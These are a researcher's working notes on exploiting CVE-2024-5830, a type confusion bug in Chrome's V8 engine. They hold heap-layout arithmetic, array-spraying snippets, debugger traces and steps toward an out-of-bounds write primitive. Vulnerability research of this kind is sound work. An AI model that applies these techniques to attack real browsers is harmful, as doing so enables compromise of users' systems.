Published using Google Docs
CVE-2024-5830 working notes
Updated automatically every 5 minutes

#info

[$25000][342456991] High CVE-2024-5830: Type Confusion in V8. Reported by Man Yue Mo of GitHub Security Lab on 2024-05-24

https://chromereleases.googleblog.com/2024/06/stable-channel-update-for-desktop.html

https://chromium-review.googlesource.com/c/v8/v8/+/5588058


# take 1

Map::PrepareForDataProperty

UpdateDescriptorForValue

mu.ReconfigureToDataField

        TryReconfigureToDataFieldInplace

        FindRootMap

        FindTargetMap

        ConstructNewMap

## oob write

descriptors->Replace() could write oob

they don’t even have a bound check for this...

this is the only user for `descriptors->Replace()` in map-updater

call stack:

TryReconfigureToDataFieldInplace

if (...) return;

GeneralizeField

        if IsGeneralizableTo(...) return

        UpdateFieldType

                descriptors->GetDetails

                descriptors->Replace

DescriptorArray::Replace

          SetKey(descriptor_number, key);

  SetDetails(descriptor_number, details);

  SetValue(descriptor_number, value);

``

  static constexpr int OffsetOfDescriptorAt(int descriptor) {

    return kDescriptorsOffset + descriptor * kEntrySize * kTaggedSize;

  }

```

write_offset = 16 + desc * 12

e.g. desc = 0x5000

16 + 0x5000 * 12 = 0x3c010

## heap rw region layout

heap cage with RW start from 0x40000

vmmap of release

vmmap of debug

create a array at the beginning of script:

debug:

DebugPrint: 0x____483ed: [JSArray]                                                                      

release:

0x____483ed <JSArray[1]>

warn: the addr changes if running with `gdb --args`

?is the addr fixed?

## corrupt a jsarray length?

jsarray layout:

map

properties

elements

length

what we would do in general:

1. read a value

2. check if it’s okay

3. then update [value_addr-1, value_addr+1] mem region

what we could control:

        array length value, a smi

### read a valid PropertyDetails

```

  if (old_details.attributes() != new_attributes_ ||

      old_details.kind() != new_kind_ ||

      old_details.location() != new_location_) {

    // These changes can't be done in-place.

    return state_;  // Not done yet.

  }

```

new_attributes_: 0x4

new_kind_: 0x0

new_location_: 0x0

```

  using KindField = base::BitField<PropertyKind, 0, 1>;

  using ConstnessField = KindField::Next<PropertyConstness, 1>;

  using AttributesField = ConstnessField::Next<PropertyAttributes, 3>;

  using LocationField = AttributesField::Next<PropertyLocation, 1>;

  using RepresentationField = LocationField::Next<uint32_t, 3>;

```

attributes: [2-5)

kind: [0-1)

location: [5-6)

e.g.

so we need:

0 100 [0/1] 0

e.g. 0001 0000, which is 8 in smi

### caclulate the JSArray jsarray address

the current jsarray `length` addr is 0x4842c + 12 = 0x48438

equation:

$descriptors_array_base = 0x759 - 1

$descriptors_array_base + 16 + offset * 12 = $jsarray_base + 12

=>

$descriptors_array_base + 16 + (offset-1) * 12 = $jsarray_base

(0x759-1) + 16 + (24486-1) * 12 = 0x48324

with padding array:

```

let arr_padding = new Array(26);

const object4 = {};

object4.a = 1;

object4.b = 1;

object4.c = 1;

object4.d = 1;

delete object4.d;

%DebugPrint(arr_padding);

%DebugPrint(arr);

```

WARN:

the addr of `padding_array` would change, if u add more statements in source code like %DebugPrint()

i guess it’s cause of the BytecodeArray is allocated before the JSArray.

### create a large enough JSArray

to handle the left elements in spray jsarray could not be divided by 3(which is the size of each descriptor size in descriptorarray),

we create 3 target arrays and paddings inbetween.

spray jsarray, fill with 8

spray jsarray elements

target jsarray 1 [len: 4]

        map

        properties

        elements

        length

target jsarray 1 elements [len: 2 + 8] offset: 14

padding jsarray [len: 4]

padding jsarray 1 elements [len: 2 + 2] offset: 22 % 3 == 1

target jsarray 2 [len: 4]

        map

        properties

        elements

        length

target jsarray 2 elements [len: 2 + 8] offset: 36

padding jsarray [len: 4]

padding jsarray 1 elements [len: 2 + 2] 44 % 3 == 2

target jsarray 3 [len: 4]

        map

        properties

        elements

        length

target jsarray 3 elements [len: 2 + 8]

### error on set the `key` of the descriptor

The key should be a `Name` in normal situations, but now we are using the FixedArray(elements) of the target JSArray.

```

#0  0x0000562709d5652d in std::__Cr::__cxx_atomic_load<long> (__a=0x755, __order=std::__Cr::memory_order::acquire) at ../../third_party/libc++/src/include/__atomic/cxx_atomic_impl.h:336

#1  0x0000562709d564db in std::__Cr::__atomic_base<long, false>::load (this=0x755, __m=std::__Cr::memory_order::acquire) at ../../third_party/libc++/src/include/__atomic/atomic_base.h:56

#2  0x0000562709d5649b in std::__Cr::atomic_load_explicit<long> (__o=0x755, __m=std::__Cr::memory_order::acquire) at ../../third_party/libc++/src/include/__atomic/atomic.h:325

#3  0x0000562709d42ad2 in v8::base::Acquire_Load (ptr=0x755) at ../../src/base/atomicops.h:352                                                                

#4  0x00007f8d8b71d41d in v8::base::AsAtomicImpl<long>::Acquire_Load<heap::base::BasicSlotSet<4ul>::Bucket*> (addr=0x755) at ../../src/base/atomic-utils.h:80                                                                                  

#5  0x00007f8d8b71d3c9 in heap::base::BasicSlotSet<4ul>::LoadBucket<(heap::base::BasicSlotSet<4ul>::AccessMode)0> (this=0x4f5, bucket=0x755) at ../../src/heap/base/basic-slot-set.h:407

#6  0x00007f8d8b782c6d in heap::base::BasicSlotSet<4ul>::LoadBucket<(heap::base::BasicSlotSet<4ul>::AccessMode)1> (this=0x4f5, bucket_index=76) at ../../src/heap/base/basic-slot-set.h:413

#7  0x00007f8d8b913364 in heap::base::BasicSlotSet<4ul>::Insert<(heap::base::BasicSlotSet<4ul>::AccessMode)1> (this=0x4f5, slot_offset=313068) at ../../src/heap/base/basic-slot-set.h:117

#8  0x00007f8d8b9132ed in v8::internal::RememberedSetOperations::Insert<(v8::internal::AccessMode)1> (slot_set=0x4f5, slot_offset=313068) at ../../src/heap/remembered-set.h:31

#9  0x00007f8d8b8ea66e in v8::internal::RememberedSet<(v8::internal::RememberedSetType)0>::Insert<(v8::internal::AccessMode)1> (page=0x2c700000010, slot_offset=313068) at ../../src/heap/remembered-set.h:102

#10 0x00007f8d8b8cf366 in v8::internal::Heap::GenerationalBarrierSlow (object=..., slot=3053722060524, value=...) at ../../src/heap/heap.cc:7214                                                                                              

#11 0x00007f8d8b8ab8fc in v8::internal::Heap::CombinedGenerationalAndSharedBarrierSlow (object=..., slot=3053722060524, value=...) at ../../src/heap/heap.cc:7186

#12 0x00007f8d8b8ab8a5 in v8::internal::Heap_CombinedGenerationalAndSharedBarrierSlow (object=..., slot=3053722060524, value=...) at ../../src/heap/heap.cc:154                                                                                

#13 0x0000562709d7cfc2 in v8::internal::heap_internals::CombinedWriteBarrierInternal (host=..., slot=..., value=..., mode=v8::internal::UPDATE_WRITE_BARRIER) at ../../src/heap/heap-write-barrier-inl.h:88

#14 0x0000562709d7cbf4 in v8::internal::CombinedWriteBarrier (host=..., slot=..., value=..., mode=v8::internal::UPDATE_WRITE_BARRIER) at ../../src/heap/heap-write-barrier-inl.h:138

#15 0x00007f8d8b87249b in v8::internal::DescriptorArray::SetKey (this=0x7fff0fc23428, descriptor_number=..., key=...) at ../../src/objects/descriptor-array-inl.h:138

#16 0x00007f8d8b872241 in v8::internal::DescriptorArray::Set (this=0x7fff0fc23428, descriptor_number=..., key=..., value=..., details=...) at ../../src/objects/descriptor-array-inl.h:226

#17 0x00007f8d8b872156 in v8::internal::DescriptorArray::Set (this=0x7fff0fc23428, descriptor_number=..., desc=0x7fff0fc23450) at ../../src/objects/descriptor-array-inl.h:234

#18 0x00007f8d8c07709c in v8::internal::DescriptorArray::Replace (this=0x7fff0fc23428, index=..., descriptor=0x7fff0fc23450) at ../../src/objects/objects.cc:3844

```

### look back: the 3 fields got overwritten

before:

        all fields are 8

after:

key: 8

details: 72

value: 1, which is FieldType Any

we could use the `value` field to corrupt the `Map` field of a victim object,

as the previous 2 fields are controlled by us.

## corrupt properties map, with same technique in CVE-2024-4947

  1. offset for overwriting JSArray’s `length` field:

  1. offset for overwriting JSArray’s `Map` field

  1. offset for overwriting JSArray’s elements’ `Map` field

WriteBarrier crashed with the same reason as before, as the first field as a `Name` is a JSObject.

 

We need a new layout:

        jsarray_1

jsarray_2

jsarray_3

spray_jsarray

        spray_jsarray_elements

elements_1 [len: 2 + 17] offset: 1 % 3 == 1

victim_jsarray_1 [len: 4]

victim_jsarray_elements_1 [len: 2 + 3]

elements_2 [len: 2 + 17] offset: 29 % 3 == 2

victim_jsarray_2 [len: 4]

victim_jsarray_elements_2 [len: 2 + 3]

        elements_3 [len: 2 + 17] offset: 57 % 3 == 0

victim_jsarray_3 [len: 4]

victim_jsarray_elements_3 [len: 2 + 3]

# take 2

seems like the descriptor index can’t be modified into any value...

it’s int value -1 for a dict map

it’s less than the largest fast properties a jsobject could have(128?), not large enough to jump out of the LO space  

we have to restart everything... fuck!

## confuse DescriptorArray header to be a descriptor triplet

now what we could utilize is these 3 slots

key:  0

details: 0, raw_gc_state?

value: empty enum cache?

now it would ONLY write into RO region which the empty FixedArray lives in,  and then segfault.

so we can’t trigger write using `DescriptorArray::Replace` here.

and maybe we could trigger write at `WriteToField`

## early return for `Map::PrepareForDataProperty`(before DescriptorArray::Replace)

the `old_representation` is none, we just need `new_representation_` to be double,

`CanBeInPlaceChangeTo()` would return false, and it would early return.

## call into `Map::PrepareForDataProperty()` from js

stack trace:

%CreateDataProperty(object, key, value)

JSReceiver::CreateDataProperty

...

TryFastAddDataProperty

Map::PrepareForDataProperty

In `Map::PrepareForDataProperty`, it would call `MapUpdater::Update()` and then abort with call into `Map::Normalize()`,

and return a dict map.

## Look into //v8/test/cctest/test-field-type-tracking.cc and grep for word `normalize`

https://source.chromium.org/chromium/chromium/src/+/main:v8/test/cctest/test-field-type-tracking.cc;drc=c803f15380d8ce9f618aaf3f31a2adb527e9da68;l=2043

## call object->WriteToField() with corrupted index

```c++

bool TryFastAddDataProperty(Isolate* isolate, Handle<JSObject> object,

                            Handle<Name> name, Handle<Object> value,

                            PropertyAttributes attributes) {

  Tagged<Map> map =

      TransitionsAccessor(isolate, object->map())

          .SearchTransition(*name, PropertyKind::kData, attributes);

...

  InternalIndex descriptor = map->LastAdded();

  object->WriteToField(descriptor,

                       new_map->instance_descriptors()->GetDetails(descriptor),

                       *value);

}

```

  1. read details from EmptyDescriptorArray with offset `map->LastAdded()`

details = new_map->instance_descriptors()->GetDetails(descriptor)

  1. decode write field from details

int field_index = details.field_index();

FieldIndex::ForPropertyIndex() {

        int inobject_properties = map->GetInObjectProperties(); // <------- which is 0 for dict map

bool is_inobject = property_index < inobject_properties  // <------- false

         

  if (is_inobject) {

    first_inobject_offset = map->GetInObjectPropertyOffset(0);

    offset = map->GetInObjectPropertyOffset(property_index);

  } else {

    first_inobject_offset = FixedArray::kHeaderSize;

    property_index -= inobject_properties;

    offset = PropertyArray::OffsetOfElementAt(property_index);

  }

}

  1. do write

JSObject::FastPropertyAtPut(FieldIndex index, Tagged<Object> value)

outobject_array_index = index() - first_inobject_property_offset() / kTaggedSize

property_array()->set(index.outobject_array_index(), value)

if property_index == 0, index.outobject_array_index() is 0

we need a offset, whose content is a appropriate value for a inobject FieldDetails?

index is at [19, 19+10] of details

## find a appropriate index value from RO space

Call this in gdb:

```

p v8::internal::PropertyDetails::FromByte(0x0d0000fe  >> 1).field_index()

```

pwndbg> x/128x 0x041a00000759-1                                                                                                                                                                                                                

0x41a00000758:  0x00000685      0x00000000      0x00000000      0x0000074d           <- header                                                                                                                                                          

0x41a00000768:  0x000004cd      0x5f000000      0x0d000112      0x084003ff                                                                                                                                                                    

0x41a00000778:  0x00000085      0x00000085      0x00000759      0x00000735                                                                                                                                                                    

0x41a00000788:  0x00000000      0x00000000      0x000004cd      0x57000000                                                                                                                                                                    

0x41a00000798:  0x0d0000cd      0x084003ff      0x00000085      0x00000085                                                                                                                                                                    

0x41a000007a8:  0x00000759      0x00000735      0x00000000      0x00000000                                            

0x41a000007b8:  0x000004cd      0x56000000      0x0d0000fe      0x084003ff                                                                                                                                                                    

0x41a000007c8:  0x00000085      0x00000085      0x00000759      0x00000735           <- index = 8, details value = 0x85 >> 1                                                                                                                                                          

0x41a000007d8:  0x00000000      0x00000000      0x000004cd      0x62000000                                                                                                                                                                     

0x41a000007e8:  0x0d000104      0x084003ff      0x00000085      0x00000085                                            

0x41a000007f8:  0x00000759      0x00000735      0x00000000      0x00000000          

0x41a00000808:  0x000004cd      0x0200a603      0x0d000082      0x084003ff                                            

0x41a00000818:  0x00000085      0x00000085      0x00000759      0x00000735                                            

0x41a00000828:  0x00000000      0x00000000      0x000004cd      0x00003000                                                                                                                                                                    

0x41a00000838:  0x0d000081      0x084003ff      0x00000085      0x00000085                                                                                                                                                                    

0x41a00000848:  0x00000759      0x00000735      0x00000000      0x00000000            

0x41a00000858:  0x000004cd      0x25000002      0x0d0000cc      0x084003ff                                            

0x41a00000868:  0x00000085      0x00000085      0x00000759      0x00000735                                                                                                                                                                    

0x41a00000878:  0x00000000      0x00000000      0x000004cd      0x63000003                                                                                                                                                                    

0x41a00000888:  0x0d00010b      0x084003ff      0x00000085      0x00000085                                            

0x41a00000898:  0x00000759      0x00000735      0x00000000      0x00000000                                                                                                                                                                    

0x41a000008a8:  0x000004cd      0x58000000      0x150000db      0x084003ff                                                                                                                                                                    

0x41a000008b8:  0x00000085      0x00000085      0x00000759      0x00000735                                            

0x41a000008c8:  0x00000000      0x00000000      0x000004cd      0x03000000                                                                                                                                                                    

0x41a000008d8:  0x0d000103      0x084003ff      0x00000085      0x00000085                                                                                                                                                                    

0x41a000008e8:  0x00000759      0x00000735      0x00000000      0x00000000                    

0x41a000008f8:  0x000004cd      0x55000000      0x0d0000d9      0x084003ff                                                                                                                                                                    

0x41a00000908:  0x00000085      0x00000085      0x00000759      0x00000735                                                                                                                                                                    

0x41a00000918:  0x00000000      0x00000000      0x000004cd      0x7c000000                                                                                                                                                                    

0x41a00000928:  0x0d0000ba      0x084003ff      0x00000085      0x00000085                                                                                                                                                                    

0x41a00000938:  0x00000759      0x00000735      0x00000000      0x00000000                                                                                                                                                                    

0x41a00000948:  0x000004cd      0x76000000      0x0d0000b1      0x084003ff                                                                                                                                                                    

i need to write a small script to parse this

turns out using `p10` instead of `p8` is good

## oob write met a problem.....

now we have a oob write to `a`’s dictionary properties

```

let foo1 = [];

%CreateDataProperty(a, `p${N}`, 1.1);

let foo2 = [];

```

the problem is `a` would normalize from fast -> slow during the call, and create a new dictionary on heap,

we can’t create a jsarray next to the dictionary before the call to `%CreateDataProperty` happens

## dict layout

dict is a hashtable, which is a fixedarray

kEntryKeyIndex = 0

kEntryValueIndex = 1

kEntryDetailsIndex = 2

# NameDictionary corruption

found 2 indexes which causes oob write:

```

/*

  {

    "i": 74,

    "b": "0x02000002",

    "v": 16

  }

  corrupt details

 */

let N = 74;

/*

  {

    "i": 30,

    "b": "0x03000000",

    "v": 24

  },

  add a new corrupted key

*/

let N = 30;

```

First one corrupt `PropertyDetails`, second one set any HeapObject into the `key` position of an “empty” dict element

## PropertyDetails corruption

### accessors, AccessorPair & AccessorInfo

KindField = base::BitField<PropertyKind, 0, 1>

AccessorInfo is the native accessor, we can’t set its value from js(after the Error.captureStackTrace fix)

AccessorPair is the getter/setter struct, we could R/W memory though it(?) by confusing it with another HeapObject,

and then call:

But at first we need to bypass the type check, mostly v8 has 2 patterns handling accessors:

  1. fully checked before cast

```

obj = GetAccessors();

if (IsAccessorPair(obj)) {
        pair = AccessorPair::cast(obj)

        ...

} else if (IsAccessorInfo(obj)) {
        info = AccessorPair::cast(obj)

        ...

}

```

  1. check one side and then fallthrough with dcheck

```

DCHECK(...is accessors...)

obj = GetAccessors();

if (IsAccessorPair(obj)) {
        pair = AccessorPair::cast(obj)

        ...

        return;

}

DCHECK(IsAccessorInfo(obj))

info = AccessorPair::cast(obj)

...

```

As the `GetAccessors()` we control is the value (pointer) we write into the dict, we could write a Smi or HeapObject,

neither could make through the AccessorInfo or AccessorPair type check.

So we may try to find pattern 2 and specially the case which calls `IsAccessorInfo(obj)` first and then we could fallthrough.

status: not found yet.

### break jit const or readonly assumption

we can’t oob write at the index for the second time, so i guess this is not possible.

## duplicate keys in dict added one more element into the dict

refer to CVE-2024-3832: Object corruption on wasm functions installation

we cant only write double as a key, it’s not a valid `Name` object so it can’t be duplicated.

But since the write offset is at the “empty space” of the dict, so we accidentally added a new element into the dict.

the NameDict has 30 elements

If we call `Object.keys()` on it, it has 31 enumerable keys

Double is deemed to be a valid key for `HashTable`, but a invalid key for `NameDictionary`.

```

template <typename Derived, typename Shape>

int Dictionary<Derived, Shape>::NumberOfEnumerableProperties() {

  ReadOnlyRoots roots = this->GetReadOnlyRoots();

  int result = 0;

  for (InternalIndex i : this->IterateEntries()) {

    Tagged<Object> k;

    if (!this->ToKey(roots, i, &k)) continue;

    if (Object::FilterKey(k, ENUMERABLE_STRINGS)) continue;

    PropertyDetails details = this->DetailsAt(i);

    PropertyAttributes attr = details.attributes();

    if ((int{attr} & ONLY_ENUMERABLE) == 0) result++;

  }

  return result;

}

// static

template <typename Derived, typename Shape>

bool HashTable<Derived, Shape>::IsKey(ReadOnlyRoots roots, Tagged<Object> k) {

  // TODO(leszeks): Dictionaries that don't delete could skip the hole check.

  return k != roots.unchecked_undefined_value() &&

         k != roots.unchecked_the_hole_value();

}

template <typename Derived, typename Shape>

bool HashTable<Derived, Shape>::ToKey(ReadOnlyRoots roots, InternalIndex entry,

                                      Tagged<Object>* out_k) {

  Tagged<Object> k = KeyAt(entry);

  if (!IsKey(roots, k)) return false;

  *out_k = TodoShape::Unwrap(k);

  return true;

}

```

now we need to find out the usage of kNumberOfElementsIndex of a dict

### unusable off-by-one oob write

Call `to_fast` on target dict:

```

#0  v8::internal::BaseNameDictionary<v8::internal::NameDictionary, v8::internal::NameDictionaryShape>::IterationIndices (isolate=0x56254d5d5000, dictionary=...) at ../../src/objects/objects.cc:5800

#1  0x00007ff94175852b in v8::internal::JSObject::MigrateSlowToFast (object=..., unused_property_fields=0, reason=0x7ff935c8f828 "OptimizeAsPrototype") at ../../src/objects/js-objects.cc:3810

#2  0x00007ff94175bf12 in v8::internal::JSObject::OptimizeAsPrototype (object=..., enable_setup_mode=true) at ../../src/objects/js-objects.cc:4879

#3  0x00007ff94175bc0a in v8::internal::JSObject::MakePrototypesFast (receiver=..., where_to_start=v8::internal::kStartAtPrototype, isolate=0x56254d5d5000) at ../../src/objects/js-objects.cc:4845

#4  0x00007ff941308524 in v8::internal::StoreIC::Store (this=0x7fff1e01df60, object=..., name=..., value=..., store_origin=v8::internal::StoreOrigin::kNamed) at ../../src/ic/ic.cc:1874

...

```

Another off-by-one oob write, but still to a newly created object... We need to find an oob write to existing object

And it would trigger a CHECK in `TaggedArrayBase<D, S>::RightTrim()` due to the length mismatch.

# take 3

we could allocate a large array(whose size can’t fit in the 0xb000 region) in the 0x40000 size region,

and see if we have a large enough offset to oob write from region 1-> region 2.

pwndbg> p/x large_object_threshold

$5 = 0x20000

the field index is 10bits long, not large enough to jump out of the first NewSpace region.

# take 4

heapnumber layout:

```

@cppObjectLayoutDefinition

extern class HeapNumber extends PrimitiveHeapObject {

  // TODO(v8:13070): With 8GB+ pointer compression, the number in a HeapNumber

  // is unaligned. Modify the HeapNumber layout so it remains aligned.

  value: float64;

}

```

  1. read ptr from `PropertiesArray` offset 208, which is inside of the Dict range(current length 390)
  2. reinterpret this ptr as a HeapNumber ptr
  3. deref and write into its `value`

now we need to figure out how to write controlled value into 208

## how to write into offset 208?

#0  0x00007f96d06bce24 in v8::base::WriteUnalignedValue<unsigned long> (p=27775553503340, value=4607182418800017408) at ../../src/base/memory.h:43

#1  0x00007f96d06bcdfd in v8::base::WriteUnalignedValue<unsigned long> (p=0x19430000006c "", value=4607182418800017408) at ../../src/base/memory.h:48

#2  0x00007f96d06d8b9d in v8::internal::UnalignedDoubleMember::set_value_as_bits (this=0x19430000006c, value=4607182418800017408) at ../../src/objects/tagged-field.h:69

#3  0x00007f96d06d8b71 in v8::internal::HeapNumber::set_value_as_bits (this=0x194300000068, bits=4607182418800017408) at ../../src/objects/heap-number-inl.h:24

#4  0x00007f96d0a1effc in v8::internal::JSObject::WriteToField (this=0x7ffd193206e0, descriptor=..., details=..., value=...) at ../../src/objects/js-objects-inl.h:496

#5  0x00007f96d0a04f45 in v8::internal::(anonymous namespace)::TryFastAddDataProperty (isolate=0x557772754000, object=..., name=..., value=..., attributes=v8::internal::NONE) at ../../src/objects/js-objects.cc:3556

#6  0x00007f96d09f2bc3 in v8::internal::JSObject::CreateDataProperty (isolate=0x557772754000, object=..., key=..., value=..., should_throw=...) at ../../src/objects/js-objects.cc:4095

#7  0x00007f96d09ea04c in v8::internal::JSReceiver::CreateDataProperty (isolate=0x557772754000, object=..., key=..., value=..., should_throw=...) at ../../src/objects/js-objects.cc:1741

#8  0x00007f96d0e979b7 in v8::internal::__RT_impl_Runtime_CreateDataProperty (args=..., isolate=0x557772754000) at ../../src/runtime/runtime-object.cc:1270

#9  0x00007f96d0e97530 in v8::internal::Runtime_CreateDataProperty (args_length=3, args_object=0x7ffd19320bb0, isolate=0x557772754000) at ../../src/runtime/runtime-object.cc:1261

#10 0x00007f96cf38407d in Builtins_CEntry_Return1_ArgvOnStack_NoBuiltinExit () from /home/zc/ssd/v8_head/v8/out/Debug/libv8.so

we need at dict index at 67, try different object keys which could affect the hash order.

got it!

## exploit

put an large enough victim array at the beginning of the script:

```

let victim = new Array(0x1000);

victim.fill(0);

let victim2 = [1, 1, 1];

```

trigger oob write at addr 0x26000, which should be in the middle of somewhere in the `victim`’s fixedarray.

then we could iterate the `victim` array and get the index we have wrote.

(maybe we need to trigger gc)

do the oob write again, modify the addr to 0x26000 + [(victim length - last wrote index) * 4] + [offset to victim2’s fixedarray’s length field]

# call into `TryFastAddDataProperty` from user js

TryFastAddDataProperty

        AddProperty

        JSReceiver::CreateDataProperty

                Runtime_CreateDataProperty

                Runtime::DefineObjectOwnProperty

                        Runtime_DefineObjectOwnProperty

                                KeyedStoreGenericAssembler::KeyedStoreGeneric, slow label